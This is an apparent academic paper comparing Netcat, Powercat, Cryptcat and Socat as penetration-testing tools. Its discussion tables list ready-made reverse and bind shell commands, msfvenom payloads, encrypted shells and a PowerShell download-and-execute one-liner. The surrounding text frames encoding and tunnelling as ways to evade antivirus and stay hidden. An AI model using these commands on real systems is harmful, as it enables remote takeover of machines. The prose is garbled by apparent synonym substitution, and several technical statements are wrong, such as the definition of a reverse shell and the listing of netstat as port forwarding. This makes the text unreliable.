JETIR.ORG ISSN: 2349-5162 | ESTD Year : 2014 | Monthly Issue
JOURNAL OF EMERGING TECHNOLOGIES AND INNOVATIVE RESEARCH (JETIR)
An International Scholarly Open Access, Peer-reviewed, Refereed Journal

Securing The Web Network Utility Tools Every Pentester Needs

[1]Naveen Kataria, [2]Meenakshi Arora

MTech Student, HOD department of Computer Science MTech
Maharishi Dayanand University, Rohtak

Abstract: In this section, we can speak approximately versatile community application gear which might be normally used in penetration testing. This article offers a thorough have a look at the scripts and equipment which can be extra secure, state-of-the-art, multithreaded, and have built an encrypted channel from supply to destination. It is usually applied in crimson team checks and is turning into increasingly common in great cyber security certification courses. For simplicity of utilization, primary palms-on exercise is required.

For secure surroundings in every organization, network penetration trying out should be carried out for the duration of a cyclic duration. It allows to save you outside cyber-attacks.

Keywords: Network tools, Netcat, Powercat, Cryptcat and Socat.

I. INTRODUCTION

Any operation meant to guard the usability and integrity of your network and statistics is referred to as network security. It is a hybrid of hardware and software program technology. Effective network safety controls community get right of entry to. It detects and forestalls an extensive range of threats from getting into or propagating for your network.

Network utilities are simple software tools that are used to investigate and configure many factors of pc networks. They regularly focus on one thing of the community connection or one kind of tool. Most community utilities were created for Unix computer structures; but they are now to be had to be used on all running structures. Network application resource within the protection of your network by means of allowing you to look at many components of your network, together with tool connections and packet shipping. The Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) serve as the inspiration for pc networks, consisting of the World Wide Web (www). Companies must be proactive in relation to cybersecurity in trendy rapidly international of technology and greater sophisticated networks. This involves employing specialists who recognize what dangers to search for and how to counter them. Otherwise, an unmarried prevalence of a cyberattack, together with ransomware, may motive lengthy-term damage to the organization. Combining Varonis merchandise with gear like Netcat will assist to hold your community infrastructure secure.

To make certain your information is included, if you are an enterprise, your information would possibly encompass advertising and marketing substances, monetary data, and something else that makes your company specific. Individuals have monetary information and private facts that they do not need others to have get right of entry to. By using right network practices, community safety ensures that your records stay private. This technology will assist organizations in safeguarding their property and statistics.

Better community safety now not handiest keeps your community protection however also makes it feature greater effectively. The important aspect is to have a solid machine that is not bogged down through useless tools and programmers. Ransomware attacks are quite widespread. For many, they are the most heinous sort of attack. They are a form of malware that threatens to release or save you get right of entry to your records until a ransom is paid. They would possibly harm a single character or a whole united state of America. Darkside efficiently hacked the Colonial Pipeline inside the United States. The gang turned into paid thousands and thousands of dollars in cryptocurrencies to reopen the pipeline. This is only a single instance.

II. NETWORK UTILITY TOOLS

As per our understanding, these are the most common network utility tools used by security researchers, red teamers, hackers, and cyber security experts.

Tool Name	Features
Netcat	Perform port scanning Chatting Banner Grabbing Used for file transferring Helping in reverse shell for Windows and Linux both Http banner Grabbing Used with MSFvenom
Powercat	Perform port scanning Used for file transferring Bind and reverse shell Standalone and Encoded shell Tunnelling Used as one-liner for getting shell
CryptCat	provide verbose mode Shell is password protected Random port connections Timeout and Delay interval
Socat	Perform port forwarding Used for file transferring Bind and reverse shell Provides encrypted bind and reverse

These tools commonly used network penetration testing,

a) Netcat

Netcat is a simple Unix utility that makes use of the TCP or UDP protocols to read and write records over community connections. It is intended to be a reliable "returned-quit" tool that can be pushed immediately or circuitously via different programmers and scripts. At the same time, it is an effective community debugging and investigation device, due to the fact it can construct nearly any form of connection and has numerous beneficial integrated capabilities. Netcat, or "NC" because the software program is known, must had been protected as one of those cryptic however ubiquitous Unix programmers long ago.

Hobbit is the author of Netcat which was originally advanced via Avian Research. It became first released on October 28, 1995 (26 years in the past today). The closing stable version 1.10 was launched approximately 15 years in the past, on January 2, 2007. It is well matched with Unix and Unix-like running systems, DOS, OS advanced by way of Microsoft, and Windows CE.

Original License via GNU General Public License, permissive version GPL OpenBSD version BSD is the model quantity. The authentic internet site is nc110.Sourceforge.Io.

```
┌──(root㉿kali)-[~]
└─# nc -h
[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
```

b) Powercat

It is a powerful version of Netcat with a few extraordinary extra capabilities that is supported through the ultra-modern model of OS. It reads and writes records with TCP/UDP ports to open a whole network. Also performs the opposite shell connection. Its efficacy is accustomed carry out low-stage network communique operations. Powercat is offering the functionality to experiment for open ports. It can do this by attempting a TCP connection to the ports described. Powercat is a multipurpose bundle like Netcat this is evolved in PowerShell and has several extra skills which include the capacity to deliver information across TCP, UDP, and DNS, community relays, and payload improvement.

Powercat has been suggested to run undetected by traditional anti-virus software program. The utility's set up length is 68 KB. The tool's portability and platform independence make it an imperative arrow inside the quiver of each crimson teamer.

```
┌──(root㉿kali)-[~]
└─# powercat -h

powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat

This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.

Usage: powercat [-c or -l] [-p port] [options]

  -c  <ip>        Client Mode. Provide the IP of the system you wish to connect to.
                  If you are using -dns, specify the DNS Server to send queries to.

  -l              Listen Mode. Start a listener on the port specified by -p.

  -p  <port>      Port. The port to connect to, or the port to listen on.

  -e  <proc>      Execute. Specify the name of the process to start.

  -ep             Execute Powershell. Start a pseudo powershell session. You can
                  declare variables and execute commands, but if you try to enter
                  another shell (nslookup, netsh, cmd, etc.) the shell will hang.

  -r  <str>       Relay. Used for relaying network traffic between two nodes.
                  Client Relay Format:   -r <protocol>:<ip addr>:<port>
                  Listener Relay Format: -r <protocol>:<port>
                  DNSCat2 Relay Format:  -r dns:<dns server>:<dns port>:<domain>

  -u              UDP Mode. Send traffic over UDP. Because it's UDP, the client
                  must send data before the server can respond.

  -dns  <domain>  DNS Mode. Send traffic over the dnscat2 dns covert channel.
                  Specify the dns server to -c, the dns port to -p, and specify the
                  domain to this option, -dns. This is only a client.
                  Get the server here: https://github.com/iagox86/dnscat2
```

c) Cryptcat

Cryptcat is a Twofish-encrypted model of the conventional Netcat, which include ports for Windows NT, BSD, and Linux. Counterpane and cryptic are answerable for Twofish.

Twofish encryption added to the TCP/IP Swiss military knife - Cryptcat is a basic Unix tool that reads and writes statistics over community connections at the same time as encrypting the statistics. It uses the TCP or UDP connection. It is supposed to be a reliable "back-end" tool that can be pushed immediately or not directly with the aid of other programmers and scripts. At the equal time, it is a powerful community debugging and research tool, considering that it may build practically any sort of connection and has several useful integrated functions.

```
┌──(root㉿kali)-[~]
└─# cryptcat -h
[v1.10]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -s addr                 local source address
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
```

d) Socat

Socat is known as SOcket CAT. The socat application joins two wonderful data channels thru a bidirectional facts relay. Socat is a command-line application for developing and transmitting facts over bidirectional byte streams. Socat may be used for quite a few applications considering flows may be formed from numerous statistics sinks and resources (see cope with types) and cope with parameters may be delivered to the streams. When in comparison to technologies like Netcat, Socat has a steep learning curve.

Socat has a severe studying curve when in comparison to tools like Netcat. While I nevertheless use Netcat and pals every day (because of memorization), socat is the Swiss Army Knife of network debugging tools.

```
┌──(root㉿kali)-[~]
└─# socat -h
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
Usage:
socat [options] <bi-address> <bi-address>
   options:
      -V     print version and feature information to stdout, and exit
      -h|-?  print a help text describing command line options and addresses
      -hh    like -h, plus a list of all common address option names
      -hhh   like -hh, plus a list of all available address option names
      -d[ddd]         increase verbosity (use up to 4 times; 2 are recommended)
      -D     analyze file descriptors before loop
      -ly[facility]  log to syslog, using facility (default is daemon)
      -lf<logfile>   log to file
      -ls            log to stderr (default if no other log)
      -lm[facility]  mixed log mode (stderr during initialization, then syslog)
      -lp<progname>  set the program name used for logging
      -lu            use microseconds for logging timestamps
      -lh            add hostname to log messages
      -v     verbose text dump of data traffic
      -x     verbose hexadecimal dump of data traffic
      -r <file>      raw dump of data flowing from left to right
      -R <file>      raw dump of data flowing from right to left
      -b<size_t>     set data buffer size (8192)
      -s     sloppy (continue on error)
      -t<timeout>    wait seconds before closing second channel
      -T<timeout>    total inactivity timeout in seconds
      -u     unidirectional mode (left to right)
      -U     unidirectional mode (right to left)
```

III. Discussion

Research Question?

1. What is the most often used network utility tool?
2. What is the most effective tool for obtaining a reverse shell?

3. What is the primary distinction between Netcat, Powercat, Cryptcat and Socat? What are the precise requirements for using these tools?

Our findings:

a) Netcat

It permits the person to hook up with and communicate with a far-flung port, in addition to construct a listener to simply accept remote connections. Netcat may be used as a port scanner to find open ports in addition to fingerprint the offerings and applications available via having control over the outgoing TCP or UDP connections.

Port Scanning	TCP: nc -v -n -z 'IP address' 'Port no.' UDP: nc -vzu 'IP address' 'Port no.'
Chatting	nc -lvp 'Port no.' nc 'IP address' 'Port no.'
Banner Grabbing	nc 'IP address' 'Port no.'
File Transfer	nc -lvp 'Port no.' < 'File Name. filetype' nc 'IP address' 'Port no.' > 'File Name. filetype'
Linux Reverse Shell	msfvenom -p cmd/unix/reverse_netcat lhost='IP address' lport='Port no.' R Victim: nc -lvp 'Port no.'
Random port	nc -lv -r
HTTP Banner Grabbing	printf "GET / HTTP/1.0\r\n\r\n" | nc 'IP address' 'Port no.'
Windows reverse connection	nc -lvp 'Port no.' nc.exe 'IP address' 'Port no.' -e cmd.exe
Msfvenom netcat payload	msfvenom -p windows/shell_reverse_tcp lhost='IP address' lport='Port no.' –f exe > shell.exe nc -lvp 'Port no.'

- TCP or UDP connections to or from any port, outbound or inbound.
- Complete DNS forward/reverse check, with appropriate warnings.
- It is possible to use any local source port.
- The capability to use any network source address that has been locally set.
- Made port-scanning functionality with randomization and source-routing flexibility.
- Standard input can be used to read command line parameters.
- In slow-send mode, one line is sent every N seconds.
- Hex dump of data sent and received.
- The ability to allow another software service to make connections is optional.
- Responder for optional telnet options.

b) Powercat

Powercat provides Netcat's skills and strength to all current variations of Microsoft Windows. This is done by using utilizing local PowerShell components. This permits simple deployment and usage, with little hazard of being detected by using usual anti-virus answers. Furthermore, the maximum latest variations of Powercat characteristic additional capability that goes much beyond what is seen in ordinary Netcat implementations.

Port Scanning	('Port no.') | % {powercat -c 'IP address' -p $_ -t 1 -Verbose -d}
File Transfer	nc -lnvp 'Port no.' > 'Filename.filetype' powercat -c 'IP address' -p 'Port no.' -i 'Filename.filetype'
Bind Shell	Powercat to necat: powercat -l -p 'Port no.' -e cmd nc 'IP address' 'Port no.' Powercat to powercat: powercat -l -p 'Port no.' -e cmd -v powercat -c 'IP address' -p 'Port no.' -v
Reverse Shell	Powercat to necat: nc -lvnp 'Port no.' powercat -c 'IP address' -p 'Port no.' -e cmd.exe Powercat to powercat:

	powercat -l -p ‘Port no.’ -v powercat -c ‘IP address’ -p ‘Port no.’ -e cmd -v
Standalone Shell	powercat -c ‘IP address’ -p ‘Port no.’ -e cmd.exe -g > shell.ps1 .\shell.ps1 nc -lnvp ‘Port no.’
Encoded Shell	powercat -c ‘IP address’ -p ‘Port no.’ -e cmd.exe -ge > encodedshell.ps1 powershell -E <string> nc -lnvp ‘Port no.’
Tunnelling	powercat -l -p ‘Port no.’ -r tcp:‘IP address’:‘Port no.’ -v
One Liner	powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://‘IP address’/powercat.ps1');powercat -c ‘IP address’ -p ‘Port no.’ -e cmd"

- As we know, it's a PowerShell version of Netcat most compatible with Windows Environment.
- It has all same features like Netcat and some additional functionality.
- One additional feature is provided bind shell,
- Bind Shell: It operates the listener on the victim, and the attacker listens to it to get remote access to the victim system. Bind shell involves the attacker discovering an open port on the server/target system and attempting to bind his login to that port.
- Reverse Shell: The attacker runs the listener on the victim system, and the victim connects to the attacker using a shell. As a result, the attacker has access to the victim's system. The attacker connects his port in the reverse shell. So that the victim may connect to that port and establish a strong link.
- It creates a stand-alone shell. The stand-alone shell (sash) is a Unix shell that is used to recover from specific sorts of system problems.
- Powercat offers a useful capability for evading standard security devices such as Anti-Virus solutions: it can encode commands to Hexadecimal String.
- Tunneling is the most appropriate mechanism for remaining undetected while performing red team operations or even in real-life settings. Next time we do a red team assessment, we can use Powershell and Powercat to assist us tunnel and hiding our identity.
- We can utilize Powercat's one-liner to acquire a reverse shell on the victim's device's listener. Mostly used to get the reverse shell of the Windows machine.

c) Cryptcat

It is a more sophisticated version of Netcat. It enables two-way encryption, which makes our connection more secure. By comparing these two incredible solutions based on network encryption of the chatting function using Wireshark to intercept their TCP connection.

Chatting	cryptcat -l -p ‘Port no.’ cryptcat ‘IP address’ ‘Port no.’
Verbose mode	cryptcat -lvp ‘Port no.’ cryptcat -v ‘IP address’ ‘Port no.’
Password Protected	cryptcat -k 'password' -lvp ‘Port no.’ cryptcat -v -k 'password' ‘IP address’ ‘Port no.’
Reverse shell	cryptcat -k 'password' -l -p ‘Port no.’ 0<myfifo | /bin/bash 1>myfifo cryptcat -k 'password' ‘IP address’ ‘Port no.’
Random port	cryptcat -lv -r
Intervals of timeout and delay	cryptcat -v -w 30 -i 10 -l -p ‘Port no.’ cryptcat -v -w 2 ‘IP address’ ‘Port no.’

- Cryptcat is a Netcat variation that is virtually similar to the original; in fact, the help screens are almost identical.
- The main changes in terms of options are that cryptcat does not support the –t or –q parameters. The –t option instructs Netcat to utilize Telnet negotiation, thereby turning it into a Telnet client, while the –q option acts as a stdin timeout.
- The inbuilt capability of encryption is a new feature, "crypt" means encryption. The password will then be used as the key by Cryptcat to encrypt the stream of data using Twofish encrypted communications, which is a block cipher with symmetric keys.

d) Socat

As previously stated, it is a relay that may be utilized in both directions. Socat offers capabilities such as multiple connections, secure channel creation, and support for other protocols such as OpenSSL, SCTP, Socket, Tunnel, and so on.

Bind Shell	socat -d -d TCP4-LISTEN:‘Port no.’ EXEC:/bin/bash socat - TCP4:‘IP address’:‘Port no.’
Encrypted bind shell	openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 300 -out bind_shell.crt

	cat bind_shell.key bind_shell.crt > bind_shell.pem socat -OPENSSL-LISTEN:'Port no.',cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash socat – OPENSSL:'IP address':'Port no.',verify=0
Reverse Shell	socat -d -d TCP4-LISTEN:'Port no.' STDOUT socat TCP4:'IP address':'Port no.' EXEC:/bin/bash
Encrypted reverse shell	openssl req -newkey rsa:2048 -nodes -keyout encrypt.key -x509 -days 1000 -subj '/CN=www.encrypt.lab/O=encrypt Tech./C=IN' -out encrypt.crt cat encrypt.key encrypt.crt > encrypt.pem socat -d -d OPENSSL-LISTEN:443,cert=encrypt.pem,verify=0,fork STDOUT socat – OPENSSL:'IP address':'Port no.',verify=0 EXEC:/bin/bash
Port forwarding	netstat -antp
File Transfer	socat TCP4-LISTEN:'Port no.',fork file:'filename.txt' socat TCP4:'IP address':'Port no.' file:demo.txt, create

- Socat is used as a TCP port forwarder, an external socksifier, an IP6 retransmit, a shell interaction to UNIX sockets, a serial line redirector, or to logically connect serial lines on different computers.
- It's created a secure surrounding for operating client or server shell scripts with internet connections.
- It supports protocols such as OpenSSL, SCTP, Socket, Tunnel, and so on.
- It's created an encrypted reverse and bind shell on OpenSSL to overcome the lack of unencrypted shells for a more secure connection between the attacking machine to the victim machine.

CONCLUSION

Netcat is a broadly used and palms-on exercise device, the customers are not cushy leaving Netcat with the aid of switching to every other. While in some requirements they are using the alternative equipment as properly. Powercat is broadly utilized in purple crew examinations and is increasingly more being included in crucial cyber protection certification publications. Security researchers are using Cryptcat if they wanted a secure encrypted channel for communique with passwords. So that any third man or woman cannot intercept the community communique. Socat has been one of the equipment that, in my angle, most penetration testers have heard of, however it seems that they keep away from the usage of it as a day-by-day commuter due to the fact they may be no longer cushy quitting Netcat.

- Netcat is the most often used software. NC is a comfort to apply.

- Powercat is more effective and has some advanced functions inclusive of an encrypted shell.

- Crypcat is like netcat in that it offers a password-included shell.

- Socat hired an encrypted shell with bidirectional facts circulate through OpenSSL.

ACKNOWLEDGMENT

My academics contributed to the observe article by imparting guidance, interest, time, and assistance. They are the breeze underneath my wings. I deliver way to God for making the whole thing viable. I've long past too a long way with self-effacement and gratitude to thank all and sundry who has helped me.
I would like to thank Ms. Meenakshi Arora (HOD, CSE Deptt, Sat Kabir Institute of Technology and Management) for her assistance in finishing these papers. Her technical understanding, tips, and positive criticism all contributed to the document's success. She gave me severa suggestions and solved my difficulties once I wished them. Her passion and help inspire me plenty. Those assist me in getting diverse records, gathering information, and main.
Thank you so much.

REFERENCES

• https://en.wikipedia.org/wiki/Netcat
• https://github.com/besimorhino/powercat
• https://www.hackingarticles.in/
• https://www.riskbasedsecurity.com/
• NetCAT: Practical Cache Attacks from the Network Michael Kurth∗§, Ben Gras∗, Dennis Andriesse∗, Cristiano Giuffrida
• Practical Cache Attacks from the Network, Michael KurthBen, GrasDennis Andriesse
• Network Monitoring and Enumerating Vulnerabilities in Large Heterogeneous Networks - Publisher: IEEE
• Transferring Files Using Netcat, In Netcat Power Tools, 2008, Cryptcat
• https://www.kali.org/blog/